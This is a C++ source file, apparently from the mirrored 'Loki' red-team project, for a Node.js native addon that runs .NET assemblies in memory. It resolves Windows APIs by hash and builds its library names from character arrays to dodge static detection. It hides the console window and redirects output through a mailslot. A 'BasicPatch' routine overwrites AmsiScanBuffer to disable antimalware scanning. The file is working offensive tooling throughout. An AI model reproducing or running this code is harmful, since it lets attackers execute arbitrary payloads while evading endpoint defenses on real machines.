admin/boku7-Loki
1
0
Fork 0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00
Code Issues Packages Projects Releases Wiki Activity
Files
5bc9edc7fd792fcdcf8fd9d9d2c51178fa087c35
boku7-Loki/dev/execute_assembly/node_assembly_execute.cpp
T

679 lines
23 KiB
C++
Raw Blame History

#include <windows.h>
#include <napi.h>
#include <stdio.h>
#include <winhttp.h>
#include "clr.h"
#define D_API( x ) decltype( x ) * x;
#define H_API_CREATEMAILSLOTA 0x906d962da6b14d2a
#define H_API_CREATEEVENTA 0x9b7aa49e29831332
#define H_API_GETMAILSLOTINFO 0x58bf8a3cba600e76
#define H_API_GLOBALALLOC 0x28ecb623628a39ee
#define H_API_GLOBALFREE 0xb8a3b2d888f29a48
#define H_API_READFILE 0x9ca6da88962a40
#define H_API_CLOSEHANDLE 0x28ffa46b60aa287e
#define H_API_GETCONSOLEWINDOW 0xf8e2a52698060243
#define H_API_CREATEFILEA 0xca6dea92258a917f
#define H_API_ALLOCCONSOLE 0x28ef3e383f8f95ca
#define H_API_GETCONSOLEWINDOW 0xf8e2a52698060243
#define H_API_GETSTDHANDLE 0xa7faa86b60ab97e7
#define H_API_SETSTDHANDLE 0xa7faa86b60ab8be7
#define H_API_FREECONSOLE 0xca693e383f8e2863
#define H_API_CLRCREATEINSTANCE 0xaa45ee3c1c8181f7
#define H_API_SAFEARRAYCREATE 0xcf2dd4fdae69b177
#define H_API_SAFEARRAYACCESSDATA 0xd86c5986f666b514
#define H_API_SAFEARRAYUNACCESSDATA 0x2508127a3b544129
#define H_API_SAFEARRAYCREATEVECTOR 0xe69b10055898ef5a
#define H_API_SAFEARRAYPUTELEMENT 0xecfcd8312956d9d5
#define H_API_SAFEARRAYDESTROY 0xcb752a3f2765ef33
#define H_API_SYSALLOCSTRING 0x28a3bdfeb6948bf6
#define H_API_VARIANTCLEAR 0xc96d83a3e2a67637
#define H_API_SHOWWINDOW 0xf9a3edb960aa3ec9
#define intZeroMemory(addr,size) memset((addr),0,size)
#define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define memset memset
#define stdout (__acrt_iob_func(1))
#ifdef _DEBUG
#define DPRINT(...) printf( __VA_ARGS__ )
#else
#define DPRINT(...)
#endif
using namespace Napi;
typedef struct _APIS {
D_API(CLRCreateInstance);
D_API(CreateMailslotA);
D_API(CreateEventA);
D_API(GetMailslotInfo);
D_API(GlobalAlloc);
D_API(CreateFileA);
D_API(ReadFile);
D_API(GlobalFree);
D_API(CloseHandle);
D_API(AllocConsole);
D_API(GetConsoleWindow);
D_API(GetStdHandle);
D_API(SetStdHandle);
D_API(FreeConsole);
D_API(SafeArrayCreate);
D_API(SafeArrayAccessData);
D_API(SafeArrayUnaccessData);
D_API(SafeArrayCreateVector);
D_API(SafeArrayPutElement);
D_API(SafeArrayDestroy);
D_API(SysAllocString);
D_API(VariantClear);
D_API(ShowWindow);
} APIS, * PAPIS;
APIS Api = { 0 };
extern "C" SIZE_T Hasher1(INT sz, LPSTR str);
INT StringLengthA(char* string22)
{
int length = 0;
int stringmax = 2000;
while (length < stringmax) {
if (string22[length] == 0x00) {
break;
}
length++;
}
return length;
}
// Does not handle forwaders
void xGetProcAddr(PVOID pe, SIZE_T api_hash, PHANDLE api_addr)
{
int* AddressOfFunctions = NULL;
int* AddressOfNames = NULL;
short* AddressOfNameOrdinals = NULL;
char* export_name = NULL;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(((PBYTE)(pe)) + ((PIMAGE_DOS_HEADER)pe)->e_lfanew);
PIMAGE_EXPORT_DIRECTORY dir = (PIMAGE_EXPORT_DIRECTORY)(((PBYTE)(pe)) + (&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT])->VirtualAddress);
AddressOfFunctions = (int*)(((PBYTE)(pe)) + dir->AddressOfFunctions);
AddressOfNameOrdinals = (short*)(((PBYTE)(pe)) + dir->AddressOfNameOrdinals);
AddressOfNames = (int*)(((PBYTE)(pe)) + dir->AddressOfNames);
for (DWORD i = 0; i < dir->NumberOfNames; i++)
{
export_name = (PCHAR)(((PBYTE)(pe)) + AddressOfNames[i]);
if (Hasher1(StringLengthA(export_name), export_name) == api_hash)
{
*api_addr = (HANDLE*)(((PBYTE)(pe)) + AddressOfFunctions[AddressOfNameOrdinals[i]]);
}
}
}
// Spider
SIZE_T ACharStringToWCharString(PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed)
{
INT Length = MaximumAllowed;
while (--Length >= 0)
{
if (!(*Destination++ = *Source++))
return MaximumAllowed - Length - 1;
}
return MaximumAllowed - Length;
}
VOID ResolveApis() {
CHAR k32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', '\0' };
CHAR o32[] = { 'o','l','e','a','u','t','3','2','.','d','l','l', '\0' };
CHAR u32[] = { 'u','s','e','r','3','2','.','d','l','l', '\0' };
CHAR msc[] = { 'm', 's', 'c', 'o', 'r', 'e', 'e', '.', 'd', 'l', 'l', '\0' };
PVOID a_k32 = LoadLibraryA(k32);
PVOID a_u32 = LoadLibraryA(u32);
PVOID a_o32 = LoadLibraryA(o32);
PVOID a_msc = LoadLibraryA(msc);
xGetProcAddr(a_k32, H_API_CREATEMAILSLOTA, (PHANDLE)&Api.CreateMailslotA);
xGetProcAddr(a_k32, H_API_CREATEEVENTA, (PHANDLE)&Api.CreateEventA);
xGetProcAddr(a_k32, H_API_GETMAILSLOTINFO, (PHANDLE)&Api.GetMailslotInfo);
xGetProcAddr(a_k32, H_API_GLOBALALLOC, (PHANDLE)&Api.GlobalAlloc);
xGetProcAddr(a_k32, H_API_CREATEFILEA, (PHANDLE)&Api.CreateFileA);
xGetProcAddr(a_k32, H_API_READFILE, (PHANDLE)&Api.ReadFile);
xGetProcAddr(a_k32, H_API_GLOBALFREE, (PHANDLE)&Api.GlobalFree);
xGetProcAddr(a_k32, H_API_CLOSEHANDLE, (PHANDLE)&Api.CloseHandle);
xGetProcAddr(a_k32, H_API_ALLOCCONSOLE, (PHANDLE)&Api.AllocConsole);
xGetProcAddr(a_k32, H_API_GETCONSOLEWINDOW, (PHANDLE)&Api.GetConsoleWindow);
xGetProcAddr(a_k32, H_API_GETSTDHANDLE, (PHANDLE)&Api.GetStdHandle);
xGetProcAddr(a_k32, H_API_SETSTDHANDLE, (PHANDLE)&Api.SetStdHandle);
xGetProcAddr(a_k32, H_API_FREECONSOLE, (PHANDLE)&Api.FreeConsole);
xGetProcAddr(a_o32, H_API_SAFEARRAYCREATE, (PHANDLE)&Api.SafeArrayCreate);
xGetProcAddr(a_o32, H_API_SAFEARRAYACCESSDATA, (PHANDLE)&Api.SafeArrayAccessData);
xGetProcAddr(a_o32, H_API_SAFEARRAYUNACCESSDATA, (PHANDLE)&Api.SafeArrayUnaccessData);
xGetProcAddr(a_o32, H_API_SAFEARRAYCREATEVECTOR, (PHANDLE)&Api.SafeArrayCreateVector);
xGetProcAddr(a_o32, H_API_SAFEARRAYPUTELEMENT, (PHANDLE)&Api.SafeArrayPutElement);
xGetProcAddr(a_o32, H_API_SAFEARRAYDESTROY, (PHANDLE)&Api.SafeArrayDestroy);
xGetProcAddr(a_o32, H_API_SYSALLOCSTRING, (PHANDLE)&Api.SysAllocString);
xGetProcAddr(a_o32, H_API_VARIANTCLEAR, (PHANDLE)&Api.VariantClear);
xGetProcAddr(a_msc, H_API_CLRCREATEINSTANCE, (PHANDLE)&Api.CLRCreateInstance);
xGetProcAddr(a_u32, H_API_SHOWWINDOW, (PHANDLE)&Api.ShowWindow);
}
/*Make MailSlot*/
BOOL WINAPI MakeSlot(LPCSTR lpszSlotName, HANDLE* mailHandle)
{
*mailHandle = Api.CreateMailslotA(
lpszSlotName,
0, //No maximum message size
MAILSLOT_WAIT_FOREVER, //No time-out for operations
(LPSECURITY_ATTRIBUTES)NULL); //Default security
if (*mailHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
}
else
return TRUE;
}
/*Read Mailslot*/
BOOL ReadSlot(char* output, HANDLE* mailHandle)
{
DWORD cbMessage = 0;
DWORD cMessage = 0;
DWORD cbRead = 0;
BOOL fResult;
LPSTR lpszBuffer = NULL;
size_t size = 65535;
char* achID = (char*)intAlloc(size);
memset(achID, 0, size);
DWORD cAllMessages = 0;
HANDLE hEvent;
OVERLAPPED ov;
hEvent = Api.CreateEventA(NULL, FALSE, FALSE, NULL);
if (NULL == hEvent)
return FALSE;
ov.Offset = 0;
ov.OffsetHigh = 0;
ov.hEvent = hEvent;
fResult = Api.GetMailslotInfo(*mailHandle, //Mailslot handle
(LPDWORD)NULL, //No maximum message size
&cbMessage, //Size of next message
&cMessage, //Number of messages
(LPDWORD)NULL); //No read time-out
if (!fResult)
{
return FALSE;
}
if (cbMessage == MAILSLOT_NO_MESSAGE)
{
return TRUE;
}
cAllMessages = cMessage;
while (cMessage != 0) //Get all messages
{
//Allocate memory for the message.
lpszBuffer = (LPSTR)Api.GlobalAlloc(GPTR, lstrlenA((LPSTR)achID) * sizeof(CHAR) + cbMessage);
if (NULL == lpszBuffer)
return FALSE;
lpszBuffer[0] = '\0';
fResult = Api.ReadFile(*mailHandle,
lpszBuffer,
cbMessage,
&cbRead,
&ov);
if (!fResult)
{
Api.GlobalFree((HGLOBAL)lpszBuffer);
return FALSE;
}
//Copy mailslot output to returnData buffer
_snprintf(output + strlen(output), strlen(lpszBuffer) + 1, "%s", lpszBuffer);
fResult = Api.GetMailslotInfo(*mailHandle, //Mailslot handle
(LPDWORD)NULL, //No maximum message size
&cbMessage, //Size of next message
&cMessage, //Number of messages
(LPDWORD)NULL); //No read time-out
if (!fResult)
{
return FALSE;
}
}
cbMessage = 0;
Api.GlobalFree((HGLOBAL)lpszBuffer);
Api.CloseHandle(hEvent);
return TRUE;
}
BOOL consoleExists() {
return !!Api.GetConsoleWindow();
}
BOOL FindVersion(PBYTE assembly, DWORD64 length) {
PBYTE assembly_c = assembly;
char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
for (DWORD64 i = 0; i < length; i++)
{
for (DWORD64 j = 0; j < 10; j++)
{
if (v4[j] != assembly_c[i + j])
{
break;
}
else
{
if (j == 9)
{
return 1;
}
}
}
}
return 0;
}
DWORD StartCLR(
LPCWSTR dotNetVersion,
OUT ICLRMetaHost** ppClrMetaHost,
OUT ICLRRuntimeInfo** ppClrRuntimeInfo,
OUT ICorRuntimeHost** ppICorRuntimeHost,
OUT ICLRRuntimeHost** ppICLRRuntimeHost,
OUT ICLRControl** ppICLRControl,
OUT ICLRGCManager** ppICLRGCManager,
OUT AppDomain** ppAppDomain) {
//Declare variables
HRESULT hr = NULL;
//Get the CLRMetaHost that tells us about .NET on this machine
hr = Api.CLRCreateInstance(xCLSID_CLRMetaHost, xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost);
if (hr == S_OK)
{
//Get the runtime information for the particular version of .NET
hr = (*ppClrMetaHost)->GetRuntime(dotNetVersion, xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo);
if (hr == S_OK)
{
/*Check if the specified runtime can be loaded into the process. This method will take into account other runtimes that may already be
loaded into the process and set fLoadable to TRUE if this runtime can be loaded in an in-process side-by-side fashion.*/
BOOL fLoadable;
hr = (*ppClrRuntimeInfo)->IsLoadable(&fLoadable);
if ((hr == S_OK) && fLoadable)
{
//Load the CLR into the current process and return a runtime interface pointer.
hr = (*ppClrRuntimeInfo)->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)ppICLRRuntimeHost);
IUnknown* pAppDomainThunk = NULL;
if (hr == S_OK)
{
// Get the GCManager interface so we can actually free stuff after unloading the appdomain via forcing GC
(*ppICLRRuntimeHost)->GetCLRControl(ppICLRControl);
(*ppICLRControl)->GetCLRManager(IID_ICLRGCManager, (LPVOID*)ppICLRGCManager);
// Start it
(*ppICLRRuntimeHost)->Start();
// Apparently you can load COR Runtime after you start ICLRRuntime
hr = (*ppClrRuntimeInfo)->GetInterface(xCLSID_CorRuntimeHost, xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost);
if (hr == S_OK)
{
// TODO: CHANGE
hr = (*ppICorRuntimeHost)->CreateDomain(L"yay", NULL, &pAppDomainThunk);
if (hr == S_OK)
{
hr = pAppDomainThunk->QueryInterface(xIID_AppDomain, (LPVOID*)ppAppDomain);
if (hr == S_OK)
{
return hr;
}
else
{
DPRINT("[-] We could not query the AppDomain interface: 0x%llx\n", hr);
return hr;
}
}
else
{
DPRINT("[-] We could not create our own AppDomain: 0x%llx\n", hr);
return hr;
}
}
else
{
DPRINT("[-] We could not get ICorRuntimeHost: 0x%llx\n", hr);
return hr;
}
}
else
{
//If CLR fails to load fail gracefully
DPRINT("[-] Process refusing to get interface of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
return hr;
}
}
else
{
//If CLR fails to load fail gracefully
DPRINT("[-] Process refusing to load %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
return hr;
}
}
else
{
//If CLR fails to load fail gracefully
DPRINT("[-] Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
return hr;
}
}
else
{
//If CLR fails to load fail gracefully
DPRINT("[-] Process refusing to create %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", dotNetVersion);
return hr;
}
//CLR loaded successfully
return hr;
}
PCHAR RunAssembly(PBYTE AssemblyBuffer, DWORD AssemblySize, AppDomain* pAppDomain, ICorRuntimeHost* pICorRuntimeHost, ICLRGCManager* pICLRGCManager, int argc, PWCHAR argv[]) {
HRESULT hr = S_OK;
Assembly* pAssembly = NULL;
MethodInfo* pMethodInfo = NULL;
VARIANT vtPsa = { 0 };
SAFEARRAYBOUND rgsabound[1] = { 0 };
SAFEARRAY* pSafeArray = NULL;
PVOID pvData = NULL;
VARIANT retVal = { 0 };
VARIANT obj = { 0 };
long idx[1] = { 0 };
SAFEARRAY* psaStaticMethodArgs = NULL;
HANDLE stdOutput = NULL;
HANDLE stdError = NULL;
HANDLE mainHandle = NULL;
HANDLE hFile = NULL;
// \\.\mailslot\_node
CHAR slotPath[] = { '\\', '\\', '.', '\\', 'm', 'a', 'i', 'l', 's', 'l', 'o', 't', '\\', '_', 'n', 'o', 'd', 'e', '\0' }; // TODO: CHANGE THIS
BOOL success = 1;
size_t size = 65535;
char* returnData = (char*)intAlloc(size);
memset(returnData, 0, size);
ZeroMemory(&retVal, sizeof(VARIANT));
ZeroMemory(&obj, sizeof(VARIANT));
// Prep SafeArray
rgsabound[0].cElements = AssemblySize;
rgsabound[0].lLbound = 0;
pSafeArray = Api.SafeArrayCreate(VT_UI1, 1, rgsabound);
Api.SafeArrayAccessData(pSafeArray, &pvData);
memcpy(pvData, AssemblyBuffer, AssemblySize);
// Prep AppDomain and EntryPoint
hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly);
if (hr != S_OK) {
sprintf(returnData, "[-] Process refusing to load Assembly: 0x%llx\n", hr);
return returnData;
}
hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
if (hr != S_OK) {
sprintf(returnData, "[-] Process refusing to find entry point of assembly: 0x%llx\n", hr);
return returnData;
}
Api.SafeArrayUnaccessData(pSafeArray);
// Something
obj.vt = VT_NULL;
// Change cElement to the number of Main arguments
psaStaticMethodArgs = Api.SafeArrayCreateVector(VT_VARIANT, 0, (ULONG)1); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
vtPsa.vt = (VT_ARRAY | VT_BSTR);
vtPsa.parray = Api.SafeArrayCreateVector(VT_BSTR, 0, argc);
for (LONG i = 0; i < argc; i++) {
DPRINT("Putting arg: %S\n", argv[i]);
Api.SafeArrayPutElement(vtPsa.parray, &i, Api.SysAllocString(argv[i])); // bud is NOT getting freed
}
// Insert an array of BSTR into the VT_VARIANT psaStaticMethodArgs array
Api.SafeArrayPutElement(psaStaticMethodArgs, idx, &vtPsa);
// Redirect stdout via mailslot
// Create the mailslot
success = MakeSlot(slotPath, &mainHandle);
// Get a handle to our pipe or mailslot
hFile = Api.CreateFileA(slotPath, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL);
// Attach or create console
BOOL frConsole = 0;
BOOL attConsole = consoleExists();
if (attConsole != 1)
{
frConsole = 1;
Api.AllocConsole();
//Hide Console Window
HWND wnd = Api.GetConsoleWindow();
if (wnd)
Api.ShowWindow(wnd, SW_HIDE);
}
//Get current stdout handle so we can revert stdout after we finish
stdOutput = Api.GetStdHandle(((DWORD)-11));
//Set stdout to our newly created named pipe or mail slot
success = Api.SetStdHandle(((DWORD)-11), hFile);
// Done redirecting
//Invoke our .NET Method
hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, psaStaticMethodArgs, &retVal);
if (hr == S_OK) {
DPRINT("Assembly executed successfully\n");
// Clean up our appdomain. DOES NOT ACTUALLY CLEAR OUR ASSEMBLY FROM MEMORY THOUGH
hr = pICorRuntimeHost->UnloadDomain((IUnknown*)pAppDomain);
if (hr == S_OK) {
DPRINT("Appdomain unloaded successfully\n");
// Force the GC. Doesn't actually clear the assembly from memory!
// hr = pICLRGCManager->Collect( -1 );
// if ( hr != S_OK ){
// DPRINT( "We could not force garbage collection\n" );
// }
}
else {
DPRINT("We could not unload the AppDomain\n");
}
DPRINT("Reading from slot\n");
// Read from mailslot
success = ReadSlot(returnData, &mainHandle);
DPRINT("Done\n");
}
else {
sprintf(returnData, "Error executing the assembly with Invoke_3: 0x%llx\n", hr);
}
// Free the safearray stuff
Api.SafeArrayDestroy(pSafeArray);
Api.VariantClear(&retVal);
Api.VariantClear(&obj);
Api.VariantClear(&vtPsa);
// Fix the output
// Close handles
Api.CloseHandle(mainHandle);
Api.CloseHandle(hFile);
//Revert stdout back to original handles
success = Api.SetStdHandle(((DWORD)-11), stdOutput);
//Free console only if we attached one
if (frConsole != 0) {
success = Api.FreeConsole();
}
return returnData;
}
VOID BasicPatch() {
PVOID Func = NULL;
CHAR amsi[] = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', '\0' };
BYTE patch[] = { 0x90, 0x90, 0x90, 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
DWORD _ = NULL;
#define H_API_AMSISCANBUFFER 0xfbed80ce634a1f15
xGetProcAddr(LoadLibraryA(amsi), H_API_AMSISCANBUFFER, (PHANDLE)&Func);
DPRINT("Protecting amsi scanbuffer RWX\n");
VirtualProtect(Func, sizeof(patch), PAGE_EXECUTE_READWRITE, &_);
DPRINT("Patching\n");
memcpy(Func, patch, sizeof(patch));
VirtualProtect(Func, sizeof(patch), PAGE_EXECUTE_READ, &_);
DPRINT("Patched\n");
return;
}
// execute_assembly ( [assembly bytes], [patch:true|not], [args])
Napi::String ExecuteAssembly(const Napi::CallbackInfo& info) {
Napi::Env env = info.Env();
// Check the number of arguments
if (info.Length() < 3) {
Napi::TypeError::New(env, "Expected three arguments").ThrowAsJavaScriptException();
return Napi::String();
}
// Check the types of arguments
if (!info[0].IsBuffer() || !info[1].IsBoolean() || !info[2].IsArray()) {
Napi::TypeError::New(env, "Expected a byte buffer, a boolean, a string array").ThrowAsJavaScriptException();
return Napi::String();
}
// Extract the byte array
Napi::Buffer<uint8_t> AsmBuf = info[0].As<Napi::Buffer<uint8_t>>();
PBYTE AssemblyBytes = AsmBuf.Data();
SIZE_T AssemblyLength = AsmBuf.ByteLength();
DPRINT("AsmBuf 0x%llx\n", AssemblyBytes);
DPRINT("AsmLen 0x%llx\n", AssemblyLength);
// Extract the boolean
Napi::Boolean doPatch = info[1].As<Napi::Boolean>();
DPRINT("doPatch %d\n", doPatch.Value());
// Extract the string array
Napi::Array jsArray = info[2].As<Napi::Array>();
uint32_t nArgs = jsArray.Length();
PWCHAR* Args = new PWCHAR[nArgs];
for (uint32_t i = 0; i < nArgs; ++i) {
Napi::Value element = jsArray[i];
if (!element.IsString()) {
Napi::TypeError::New(env, "Expected all elements in the array to be strings").ThrowAsJavaScriptException();
delete[] Args; // Clean up previously allocated memory
return Napi::String();
}
// Convert Napi::String to UTF-16 std::u16string
std::u16string utf16str = element.As<Napi::String>().Utf16Value();
// Allocate memory for the wide character string and copy contents
wchar_t* wideBuffer = new wchar_t[utf16str.length() + 1];
std::memcpy(wideBuffer, utf16str.c_str(), (utf16str.length() + 1) * sizeof(char16_t));
// Store the wide character string in the array
Args[i] = wideBuffer;
DPRINT("Arg %d: %S\n", i, Args[i]);
}
// Extract the # of args
DPRINT("Argc: %d\n", nArgs);
LPCWSTR NetVersion = NULL;
ICLRMetaHost* pClrMetaHost = NULL;
ICLRRuntimeInfo* pClrRuntimeInfo = NULL;
ICorRuntimeHost* pICorRuntimeHost = NULL;
ICLRRuntimeHost* pICLRRuntimeHost = NULL;
ICLRControl* pICLRControl = NULL;
ICLRGCManager* pICLRGCManager = NULL;
AppDomain* pAppDomain = NULL;
PCHAR output = NULL;
Napi::String Ret;
HRESULT hr = NULL;
if (FindVersion(AssemblyBytes, AssemblyLength))
{
NetVersion = L"v4.0.30319";
}
else
{
NetVersion = L"v2.0.50727";
}
DPRINT("NetVerison: %S\n", NetVersion);
if (hr = StartCLR(NetVersion, &pClrMetaHost, &pClrRuntimeInfo, &pICorRuntimeHost, &pICLRRuntimeHost, &pICLRControl, &pICLRGCManager, &pAppDomain) == S_OK) {
if (doPatch.Value()) {
BasicPatch();
}
output = RunAssembly(AssemblyBytes, AssemblyLength, pAppDomain, pICorRuntimeHost, pICLRGCManager, nArgs, Args);
Ret = Napi::String::New(env, output);
}
else {
Ret = Napi::String::New(env, "Some error occured in some step while loading the CLR: 0x%llx\n", hr);
}
// Clean up allocated memory for args
for (uint32_t i = 0; i < nArgs; ++i) {
delete[] Args[i];
}
delete[] Args;
// This actually zeros the real buffer from javascript's end! JS caller should not expect this buffer to still contain the assembly!
// If you don't plan on reusing the buffer, or the buffer is repopulated on every execute_assembly call, feel free to uncomment this
//ZeroMemory(AssemblyBytes, AssemblyLength);
return Ret;
}
Napi::Object Init(Napi::Env env, Napi::Object exports) {
ResolveApis();
exports.Set("execute_assembly", Napi::Function::New(env, ExecuteAssembly));
return exports;
}
NODE_API_MODULE(addon, Init)
Reference in New Issue View Git Blame Copy Permalink